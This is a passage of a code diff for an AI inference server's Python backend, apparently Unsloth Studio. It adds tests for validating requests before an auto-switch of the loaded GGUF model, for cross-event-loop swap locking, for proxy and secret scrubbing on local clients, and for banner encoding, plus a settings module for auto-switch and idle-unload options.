False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = "AAAA") + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_completions_rejects_object_prompt_before_switch(monkeypatch): + # Codex P2: an object prompt like {"prompt": {}} is a deterministic client error + # (only a string or array is valid). It must 400 before the switch so a bad shape + # can't load the named GGUF only to be rejected by llama-server after eviction. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_completions( + _json_body_request({"model": "org/B-GGUF", "prompt": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # no switch before rejection + + +def test_embeddings_rejects_object_input_before_switch(monkeypatch): + # Codex P2: an object input like {"input": {}} is a deterministic client error + # (only a string or array is valid); reject before the switch, like completions. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route.openai_embeddings( + _json_body_request({"model": "org/B-GGUF", "input": {}}), "tester" + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_oversized_audio_rejected_before_switch(monkeypatch): + # Codex P2: the audio size cap is a cheap, target-independent length check, so an + # oversized upload must 413 before the switch rather than loading a GGUF first. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + big = "A" * (inference_route._MAX_AUDIO_B64_CHARS + 1) + payload = _chat_request(model = "org/B-GGUF", audio_base64 = big) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 413 + assert rec.calls == [] + + +def test_chat_confirm_without_stream_mcp_rejected_before_switch(monkeypatch): + # Codex P2: mcp_enabled opens the local tool loop on its own, so confirm+no-stream + # +mcp is the same invalid shape as confirm+no-stream+tools and must 400 before + # the switch. The old guard only checked explicit tool fields and missed it. + import state.tool_policy as _tp + from fastapi import HTTPException + + monkeypatch.setattr(_tp, "get_tool_policy", lambda: None) # no CLI --disable-tools + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request( + model = "org/B-GGUF", mcp_enabled = True, confirm_tool_calls = True, stream = False + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_require_vision_rejects_text_target_before_switch(monkeypatch): + # Codex P2: an image request naming a different text-only GGUF must 400 before + # the swap, so the resident vision model is not evicted for a rejected request. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: False) + with pytest.raises(HTTPException) as exc: + asyncio.run( + inference_route._maybe_auto_switch_model( + "org/B-GGUF", object(), "t", require_vision = True + ) + ) + assert exc.value.status_code == 400 + assert rec.calls == [] # rejected before the load + + +def test_require_vision_allows_vision_target(monkeypatch): + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/local/B.gguf", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(inference_route, "_target_is_vision", lambda _p: True) + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 # vision target still switches + + +def test_require_vision_ignores_reload_stash(monkeypatch): + # The reload-stash path restores the model the request was already using; the + # modality check applies only to an explicit resolver target, not a restore. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + monkeypatch.setattr( + inference_route, "_target_is_vision", lambda _p: False + ) # would reject if used + asyncio.run( + inference_route._maybe_auto_switch_model("org/B-GGUF", object(), "t", require_vision = True) + ) + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" # restored despite require_vision + + +def test_chat_validates_confirm_and_modality_before_switch(): + # Lock the order at the source: confirm-shape rejection precedes the hook, and + # the hook rejects a non-vision target before the load. + import inspect + + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("confirm_tool_calls requires stream=true") < src.index( + "_maybe_auto_switch_model" + ) + assert "require_vision" in src + hook = inspect.getsource(inference_route._maybe_auto_switch_model) + assert hook.index("require_vision") < hook.index("_load_model_impl") + assert "does not support the image or audio input" in hook + + +def test_messages_have_image_helper(): + from models.inference import ChatMessage, ImageContentPart, ImageUrl, TextContentPart + + f = inference_route._messages_have_image + text_only = [ + ChatMessage(role = "user", content = "hi"), + ChatMessage(role = "user", content = [TextContentPart(type = "text", text = "hi")]), + ] + assert f(text_only) is False + img = ImageContentPart(type = "image_url", image_url = ImageUrl(url = "data:image/png;base64,AAAA")) + assert f([ChatMessage(role = "user", content = [img])]) is True + + +def test_anthropic_request_has_image_helper(): + from types import SimpleNamespace + + f = inference_route._anthropic_request_has_image + text = SimpleNamespace(messages = [SimpleNamespace(content = "hi")]) + assert f(text) is False + text_block = SimpleNamespace( + messages = [SimpleNamespace(content = [{"type": "text", "text": "hi"}])] + ) + assert f(text_block) is False + dict_img = SimpleNamespace(messages = [SimpleNamespace(content = [{"type": "image"}])]) + assert f(dict_img) is True + typed_img = SimpleNamespace(messages = [SimpleNamespace(content = [SimpleNamespace(type = "image")])]) + assert f(typed_img) is True + + +def test_responses_and_anthropic_wire_require_vision_from_images(): + # P2: the modality guard must fire on /v1/responses and /v1/messages too, so an + # image request can't evict a vision model for a text-only target. Lock the wiring + # at the source: each hook derives require_vision from the request's images. + import inspect + + responses_src = inspect.getsource(inference_route.openai_responses) + assert "require_vision = _messages_have_image(" in responses_src + anthropic_src = inspect.getsource(inference_route.anthropic_messages) + assert "require_vision = _anthropic_request_has_image(" in anthropic_src + # /messages/count_tokens shares the /messages translation, so it needs the same + # guard: an image count must not evict a vision model for a text-only target. + count_src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "require_vision = _anthropic_request_has_image(" in count_src + + +# ── codex review (round 5): count_tokens tools, tool_choice, process-wide gate ── + + +def test_count_tokens_rejects_malformed_tool_before_switch(monkeypatch): + # Codex P2: /v1/messages/count_tokens must reject a malformed tool before the + # switch, like /messages, so a count request can't evict the loaded model. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _anthropic_payload_with_tools([{"name": "broken"}]) # no input_schema/type + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_count_tokens_forwards_vision_guard_to_switch(monkeypatch): + # Codex P2: an image /v1/messages/count_tokens naming a text-only GGUF must + # carry the same require_vision guard as /messages, so it can't evict a loaded + # vision model for a swap that can't serve the request. + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["require_vision"] = require_vision + raise _Reached() + + monkeypatch.setattr(inference_route, "_anthropic_request_has_image", lambda p: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = _anthropic_payload_with_tools(None) # no tools -> tool validation passes + with pytest.raises(_Reached): + asyncio.run(inference_route.anthropic_count_tokens(payload, object(), "tester")) + assert captured["require_vision"] is True + + +def test_audio_generate_is_reload_only(monkeypatch): + # Codex P2: /audio/generate must not switch to a client-named GGUF. A local + # GGUF's audio-input capability is not a cheap pre-load probe (the mmproj signal + # can't tell an audio projector from a vision one), so resolving the client model + # could evict the working audio model for a target that then fails the audio + # check. Only the idle-stash restore runs: the hook gets the reload-only sentinel. + from models.inference import ChatCompletionRequest + + class _Reached(Exception): + pass + + captured = {} + + async def _capture( + model, + request, + subject, + *, + require_vision = False, + ): + captured["model"] = model + raise _Reached() + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _capture) + payload = ChatCompletionRequest( + model = "org/B-GGUF", messages = [{"role": "user", "content": "say hi"}] + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.generate_audio(payload, object(), "tester")) + assert captured["model"] == inference_route._RELOAD_ONLY_MODEL + + +def test_note_model_unloaded_clears_reload_stash(monkeypatch): + # Codex P2: a deliberate unload must drop the idle reload stash so the next /v1 + # request can't resurrect the just-unloaded model. (The idle loop unloads via the + # backend directly, so clearing on the route never fights keep-warm.) + import core.inference.llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_unloaded() + assert kw.get_last_unloaded_model() is None + + +def test_unload_route_clears_reload_stash(monkeypatch): + # The /unload route must clear the stash on both the GGUF and non-GGUF branches. + import inspect + src = inspect.getsource(inference_route.unload_model) + assert src.count("note_model_unloaded()") >= 2 + + +def test_non_gguf_load_clears_reload_stash(): + # A non-GGUF (Transformers/Unsloth) load must clear the stash like the GGUF + # branch, so it never lingers until the idle poll (or forever, idle-unload off). + import inspect + src = inspect.getsource(inference_route._load_model_impl) + assert src.count("note_model_loaded()") >= 2 + + +def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch): + # Codex P2: a forcing object with no function name must 400 before the switch. + from fastapi import HTTPException + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("org/B-GGUF", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + payload = _chat_request(model = "org/B-GGUF", tool_choice = {"type": "function", "function": {}}) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + assert exc.value.status_code == 400 + assert rec.calls == [] + + +def test_chat_valid_tool_choice_reaches_hook(monkeypatch): + # A well-formed forcing object must pass the pre-check and reach the hook. + class _Reached(Exception): + pass + + async def _boom(*a, **k): + raise _Reached() + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = _chat_request( + model = "org/B-GGUF", tool_choice = {"type": "function", "function": {"name": "ok"}} + ) + with pytest.raises(_Reached): + asyncio.run(inference_route.openai_chat_completions(payload, object(), "tester")) + + +def test_lifecycle_gate_serializes_across_loops(): + # Codex P2: the lifecycle gate must be process-wide so a swap on one loop blocks + # inference starting on another. Two loops must never hold the gate at once. + import threading + from core.inference import llama_keepwarm as kw + + state = {"cur": 0, "max": 0} + slock = threading.Lock() + + async def _use(): + async with kw._unload_gate(): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.05) + with slock: + state["cur"] -= 1 + + barrier = threading.Barrier(2) + + def _run(): + barrier.wait() + asyncio.run(_use()) + + threads = [threading.Thread(target = _run) for _ in range(2)] + for t in threads: + t.start() + for t in threads: + t.join() + assert state["max"] == 1 # never held on two loops at once + + +def test_auto_switch_serializes_across_event_loops(monkeypatch): + # Codex P2: the per-loop asyncio lock can't serialize two swaps on different + # event loops in one process. The process-wide gate must, so the two slow loads + # never overlap on the single model slot. + import threading + + backend = _FakeBackend("org/A-GGUF") + state = {"cur": 0, "max": 0} + loaded: list = [] + slock = threading.Lock() + + async def _slow_load( + request, + fastapi_request, + current_subject = None, + ): + with slock: + state["cur"] += 1 + state["max"] = max(state["max"], state["cur"]) + await asyncio.sleep(0.1) # widen the window so an unguarded race would overlap + with slock: + state["cur"] -= 1 + loaded.append(request.model_path) + backend.model_identifier = request.model_path + backend.is_loaded = True + backend._openai_advertised_id = None + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda m: (m, "Q8_0", m)) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "_load_model_impl", _slow_load) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + barrier = threading.Barrier(2) + + def _run(model): + barrier.wait() # release both threads together so they truly race + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "t")) + + threads = [ + threading.Thread(target = _run, args = ("org/B-GGUF",)), + threading.Thread(target = _run, args = ("org/C-GGUF",)), + ] + for t in threads: + t.start() + for t in threads: + t.join() + + assert state["max"] == 1 # the gate serialized the two cross-loop swaps + assert sorted(loaded) == ["org/B-GGUF", "org/C-GGUF"] # both still swapped + + +def test_acquire_swap_gate_is_cancellation_safe(): + # A waiter cancelled while waiting for the gate (client disconnect mid-swap) + # must not leak it: after the holder releases, a fresh acquire still succeeds. + # The to_thread(acquire) approach would leak here -- its worker thread keeps + # acquiring after cancel, so the gate is taken but never released. + async def main(): + await inference_route._acquire_swap_gate() # this loop holds the gate + try: + + async def waiter(): + await inference_route._acquire_swap_gate() + + t = asyncio.create_task(waiter()) + await asyncio.sleep(0.05) # let it spin waiting on the held gate + t.cancel() + with pytest.raises(asyncio.CancelledError): + await t + finally: + inference_route._auto_switch_process_lock.release() + # Gate is free again (the cancelled waiter never acquired it). + await asyncio.wait_for(inference_route._acquire_swap_gate(), timeout = 1) + inference_route._auto_switch_process_lock.release() + + asyncio.run(asyncio.wait_for(main(), timeout = 5)) diff --git a/studio/backend/tests/test_openai_catalog.py b/studio/backend/tests/test_openai_catalog.py index f9baf20a66..552f122ebb 100644 --- a/studio/backend/tests/test_openai_catalog.py +++ b/studio/backend/tests/test_openai_catalog.py @@ -13,6 +13,7 @@ if str(_BACKEND) not in sys.path: sys.path.insert(0, str(_BACKEND)) import routes.inference as inf # noqa: E402 +from core.inference import local_model_resolver as resolver # noqa: E402 class _Info: @@ -21,10 +22,12 @@ class _Info: id, display_name, model_id = None, + is_gguf = True, ): self.id = id self.display_name = display_name self.model_id = model_id + self.is_gguf = is_gguf # drives the files-based GGUF check in the test class _FakeLlama: @@ -53,10 +56,16 @@ def test_catalog_lists_loaded_and_available(monkeypatch): return [ _Info("/data/models/Qwen3-Q4.gguf", "Qwen3-Q4"), # same as loaded -> dedup _Info("/data/models/Llama-8B-Q8.gguf", "Llama-8B-Q8"), # available, not loaded - _Info("models--org--Foo", "Foo", model_id = "org/Foo"), # hf cache repo id + # HF-cache GGUF: model_format is unset for these, so a files-based check + # (not model_format) must still list it. + _Info("models--org--Foo", "Foo", model_id = "org/Foo"), + # Non-GGUF (safetensors) can't be served via /v1: must NOT be advertised. + _Info("/data/models/Mistral-7B", "Mistral-7B", is_gguf = False), ] monkeypatch.setattr(inf, "_cached_local_catalog", _fake_catalog) + # GGUF-ness is read from the on-disk files; drive it off each info's flag here. + monkeypatch.setattr(resolver, "info_has_local_gguf", lambda info: info.is_gguf) data = asyncio.run(inf._openai_catalog_objects()) ids = {m["id"]: m for m in data} @@ -64,9 +73,12 @@ def test_catalog_lists_loaded_and_available(monkeypatch): # Loaded model is present, marked loaded, and keeps context fields. assert ids["Qwen3-Q4"]["loaded"] is True assert ids["Qwen3-Q4"]["context_length"] == 4096 - # Available-but-not-loaded models are listed too. + # Available-but-not-loaded GGUF models are listed too. assert ids["Llama-8B-Q8"]["loaded"] is False + # The HF-cache GGUF is listed despite model_format being unset. assert ids["org/Foo"]["loaded"] is False + # The non-GGUF model is filtered out (/v1 can never serve it). + assert "Mistral-7B" not in ids # The loaded gguf and the on-disk copy collapse to one clean id. assert [m["id"] for m in data].count("Qwen3-Q4") == 1 # No absolute paths or .gguf suffixes leak anywhere. @@ -76,6 +88,20 @@ def test_catalog_lists_loaded_and_available(monkeypatch): assert "/data/" not in blob +def test_catalog_lock_is_per_loop(): + # Codex P2: a module-level asyncio.Lock ties its waiters to the loop that first + # awaited it, so a second event loop awaiting it in a multi-loop process can + # hang. The catalog lock must be per-loop (distinct lock per running loop), and + # the old shared _CATALOG_LOCK must be gone so it can't be reintroduced. + async def _get(): + return inf._catalog_lock() + + a = asyncio.run(_get()) + b = asyncio.run(_get()) # a fresh event loop + assert a is not b + assert not hasattr(inf, "_CATALOG_LOCK") + + def test_empty_and_errored_scans_are_cached(monkeypatch): # Cache validity is keyed on the timestamp, not list contents, so an empty # (fresh install / no local models) or errored scan is still cached for the diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py index f475c9e374..5ae0926990 100644 --- a/studio/backend/tests/test_rag_captioning.py +++ b/studio/backend/tests/test_rag_captioning.py @@ -172,8 +172,8 @@ def test_vision_complete_sends_auth_header(monkeypatch): def json(self): return {"choices": [{"message": {"content": "ok"}}]} - def fake_post(url, *, json, timeout, headers): - captured.update(url = url, headers = headers) + def fake_post(url, *, json, timeout, headers, trust_env): + captured.update(url = url, headers = headers, trust_env = trust_env) return _Resp() monkeypatch.setattr(httpx, "post", fake_post) @@ -182,6 +182,7 @@ def test_vision_complete_sends_auth_header(monkeypatch): ) assert out == "ok" assert captured["headers"] == {"Authorization": "Bearer secret"} + assert captured["trust_env"] is False def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): @@ -198,13 +199,15 @@ def test_vision_complete_omits_header_when_unauthenticated(monkeypatch): def json(self): return {"choices": [{"message": {"content": "ok"}}]} - def fake_post(url, *, json, timeout, headers): + def fake_post(url, *, json, timeout, headers, trust_env): captured["headers"] = headers + captured["trust_env"] = trust_env return _Resp() monkeypatch.setattr(httpx, "post", fake_post) captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8) assert captured["headers"] is None + assert captured["trust_env"] is False def test_merge_page_captions_dedups(): diff --git a/studio/backend/tests/test_rag_loopback_trust_env.py b/studio/backend/tests/test_rag_loopback_trust_env.py new file mode 100644 index 0000000000..1945e09982 --- /dev/null +++ b/studio/backend/tests/test_rag_loopback_trust_env.py @@ -0,0 +1,52 @@ +"""AST test locking in the RAG loopback trust_env fix: every httpx client/call in the RAG +package (all target the local 127.0.0.1 llama-server) must set trust_env=False.""" + +import ast +import os + +RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag") +HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"} + + +def _httpx_calls(path): + with open(path, encoding = "utf-8") as f: + tree = ast.parse(f.read(), filename = path) + calls = [] + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + func = node.func + if ( + isinstance(func, ast.Attribute) + and func.attr in HTTPX_CALLEES + and isinstance(func.value, ast.Name) + and func.value.id == "httpx" + ): + calls.append(node) + return calls + + +def _sets_trust_env_false(call): + for kw in call.keywords: + if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False: + return True + return False + + +def test_rag_loopback_httpx_clients_disable_trust_env(): + # Scan every .py in the package so a new file with an httpx call can't bypass this. + checked = 0 + for fname in sorted(f for f in os.listdir(RAG_DIR) if f.endswith(".py")): + path = os.path.join(RAG_DIR, fname) + for call in _httpx_calls(path): + checked += 1 + assert _sets_trust_env_false(call), ( + f"httpx.{call.func.attr} at {fname}:{call.lineno} must set trust_env=False " + f"(loopback llama-server client must not honor ambient HTTP(S)_PROXY)" + ) + assert checked >= 3, f"expected at least 3 loopback httpx calls, found {checked}" + + +if __name__ == "__main__": + test_rag_loopback_httpx_clients_disable_trust_env() + print("OK: all RAG loopback httpx clients set trust_env=False") diff --git a/studio/backend/tests/test_sd_cpp_backend.py b/studio/backend/tests/test_sd_cpp_backend.py index 84e1b37dd2..46a0514332 100644 --- a/studio/backend/tests/test_sd_cpp_backend.py +++ b/studio/backend/tests/test_sd_cpp_backend.py @@ -319,3 +319,39 @@ def test_run_load_cancels_and_waits_for_inflight_generation(monkeypatch): b._generate_lock.release() assert committed.wait(5) # only now does the commit run assert b._state is not None and b._state.repo_id == "unsloth/Z-Image-Turbo-GGUF" + + +def test_run_load_redacts_paths_in_progress_error(monkeypatch): + # A load failure surfaced via load_progress() must run through redact_native_paths, the + # same scrub the diffusers load path applies, so a registered native path can't leak. + from utils import native_path_leases as npl + + secret_root = "/managed/native/root" + npl._remember_native_path_for_redaction(secret_root, "model dir") + try: + b = SdCppDiffusionBackend(engine = _FakeEngine()) + fam = detect_family("z-image") + monkeypatch.setattr(b, "_asset_specs", lambda *a, **k: []) + monkeypatch.setattr(b, "_set_expected_bytes", lambda *a, **k: None) + + def _boom(*a, **k): + raise RuntimeError(f"failed to read {secret_root}/z.gguf") + + monkeypatch.setattr(b, "_fetch_assets", _boom) + + b._load_token = 1 + b._loading = bk._SdLoading(repo_id = "unsloth/Z-Image-Turbo-GGUF", base_repo = fam.base_repo) + b._run_load( + repo_id = "unsloth/Z-Image-Turbo-GGUF", + gguf_filename = "z.gguf", + base = fam.base_repo, + fam = fam, + hf_token = None, + _load_token = 1, + ) + err = b.load_progress()["error"] + assert err and secret_root not in err and "" in err + finally: + with npl._REDACTION_LOCK: + if secret_root in npl._NATIVE_PATH_REDACTIONS: + npl._NATIVE_PATH_REDACTIONS.remove(secret_root) diff --git a/studio/backend/tests/test_sd_cpp_engine.py b/studio/backend/tests/test_sd_cpp_engine.py index 054574d905..2c10699be1 100644 --- a/studio/backend/tests/test_sd_cpp_engine.py +++ b/studio/backend/tests/test_sd_cpp_engine.py @@ -116,6 +116,19 @@ def test_runtime_env_prepends_binary_dir_to_lib_path(): assert "/existing" in env[var] +def test_runtime_env_scrubs_native_path_lease_secret(monkeypatch): + # The sd-cli child is an external process and must never receive the native-path + # lease secret; every launch (version + generate/upscale) funnels through runtime_env. + monkeypatch.setenv("UNSLOTH_STUDIO_NATIVE_PATH_LEASE_SECRET", "top-secret") + from_os = runtime_env("/opt/sdcpp/bin/sd-cli") + assert "UNSLOTH_STUDIO_NATIVE_PATH_LEASE_SECRET" not in from_os + from_base = runtime_env( + "/opt/sdcpp/bin/sd-cli", + {"UNSLOTH_STUDIO_NATIVE_PATH_LEASE_SECRET": "top-secret"}, + ) + assert "UNSLOTH_STUDIO_NATIVE_PATH_LEASE_SECRET" not in from_base + + def test_runtime_env_handles_missing_lib_path(): var = eng._lib_path_var() env = runtime_env("/opt/sdcpp/bin/sd-cli", {}) diff --git a/studio/backend/tests/test_startup_banner_loopback.py b/studio/backend/tests/test_startup_banner_loopback.py index e82b741a7b..c8875bf5db 100644 --- a/studio/backend/tests/test_startup_banner_loopback.py +++ b/studio/backend/tests/test_startup_banner_loopback.py @@ -5,6 +5,9 @@ only for the exact loopback aliases, so any other bind (e.g. a specific LAN IP) must show its real address.""" +import io +import sys + import pytest from startup_banner import print_studio_access_banner @@ -22,3 +25,41 @@ def test_non_alias_loopback_shows_real_address(capsys): def test_alias_loopback_shows_canned_url(capsys, host): print_studio_access_banner(port = 8891, bind_host = host, display_host = host) assert "http://127.0.0.1:8891" in capsys.readouterr().out + + +def test_banner_prints_on_strict_cp1252_stdout(monkeypatch): + buf = io.BytesIO() + stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict") + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + stdout.flush() + + out = buf.getvalue().decode("cp1252") + assert "? Unsloth Studio is running" in out + + +def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch): + class InvalidEncodingStdout: + encoding = "not-a-real-codec" + + def __init__(self): + self.buf = io.BytesIO() + self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict") + + def write(self, text): + return self.inner.write(text) + + def flush(self): + return self.inner.flush() + + def getvalue(self): + self.flush() + return self.buf.getvalue().decode("cp1252") + + stdout = InvalidEncodingStdout() + monkeypatch.setattr(sys, "stdout", stdout) + + print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1") + + assert "? Unsloth Studio is running" in stdout.getvalue() diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py new file mode 100644 index 0000000000..1689395f40 --- /dev/null +++ b/studio/backend/utils/openai_auto_switch_settings.py @@ -0,0 +1,180 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted opt-in controls for OpenAI-compatible model auto-switching. + +Two settings, both off by default so existing API behavior is unchanged: +- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model`` + names a downloaded local GGUF different from the loaded one transparently + loads it before serving (llama-swap-style). Unknown names pass through. +- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is + unloaded after this many idle seconds to free VRAM. + +The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env +var. Unlike the stored setting (which stays gated on auto-switch), the env value +is a standalone default that enables idle-unload even with auto-switch off, for +headless/container deploys; an explicit UI/API value still overrides it. + +Reads are cached for a short window because these are consulted on the +per-request hot path; writes invalidate the cache. +""" + +from __future__ import annotations + +import os +import threading +import time +from typing import Any, Optional + +OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model" +AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds" +MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides" +MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL" + +DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False +DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0 + +_CACHE_TTL_S = 2.0 +_cache_lock = threading.Lock() +_cache: dict[str, tuple[float, Any]] = {} + + +def _coerce_bool(value: Any) -> bool | None: + if isinstance(value, bool): + return value + if isinstance(value, str): + normalized = value.strip().lower() + if normalized in {"1", "true", "yes", "on"}: + return True + if normalized in {"0", "false", "no", "off", ""}: + return False + return None + + +def _coerce_int(value: Any) -> int | None: + try: + return max(0, int(value)) + except (TypeError, ValueError): + return None + + +def _cached_setting(key: str, default: Any) -> Any: + """Read an app setting, memoized for _CACHE_TTL_S to spare the hot path.""" + now = time.monotonic() + with _cache_lock: + hit = _cache.get(key) + if hit is not None and now - hit[0] < _CACHE_TTL_S: + return hit[1] + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(key, None) + except Exception: + stored = None + value = default if stored is None else stored + with _cache_lock: + _cache[key] = (now, value) + return value + + +def _invalidate(key: str) -> None: + with _cache_lock: + _cache.pop(key, None) + + +def get_openai_auto_switch_enabled() -> bool: + parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None)) + return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + + +def _stored_idle_seconds() -> Optional[int]: + """The persisted idle TTL as an int, or None when never set.""" + return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None)) + + +def _env_idle_seconds() -> Optional[int]: + """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid.""" + raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR) + if raw is None or not raw.strip(): + return None + return _coerce_int(raw) + + +def get_stored_auto_unload_idle_seconds() -> int: + """The persisted idle-unload TTL, independent of whether auto-switch is on. + + The settings UI reads this so it can display and round-trip the saved value; + toggling auto-switch off must not erase it. Falls back to the env override so + the UI shows the startup default. The idle loop uses the gated reader below. + """ + stored = _stored_idle_seconds() + if stored is not None: + return stored + env = _env_idle_seconds() + return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS + + +def get_auto_unload_idle_seconds() -> int: + """Effective idle TTL the idle loop runs on (0 = never unload).""" + stored = _stored_idle_seconds() + if stored is not None: + # An explicit UI/API value stays gated on auto-switch: off reports 0 so the + # off state is identical to pre-feature. + return stored if get_openai_auto_switch_enabled() else 0 + # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that + # enables idle-unload even with auto-switch off (headless/container deploys). + env = _env_idle_seconds() + return env if env is not None else 0 + + +def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]: + """Set both auto-switch flags in one transaction so a settings PUT can't leave + one key updated and the other stale. Both values are coerced before any write, + so an invalid value raises without persisting either.""" + parsed_enabled = _coerce_bool(enabled) + if parsed_enabled is None: + raise ValueError("OpenAI auto-switch must be true or false.") + parsed_idle = _coerce_int(idle_seconds) + if parsed_idle is None: + raise ValueError("Auto-unload idle seconds must be a non-negative integer.") + from 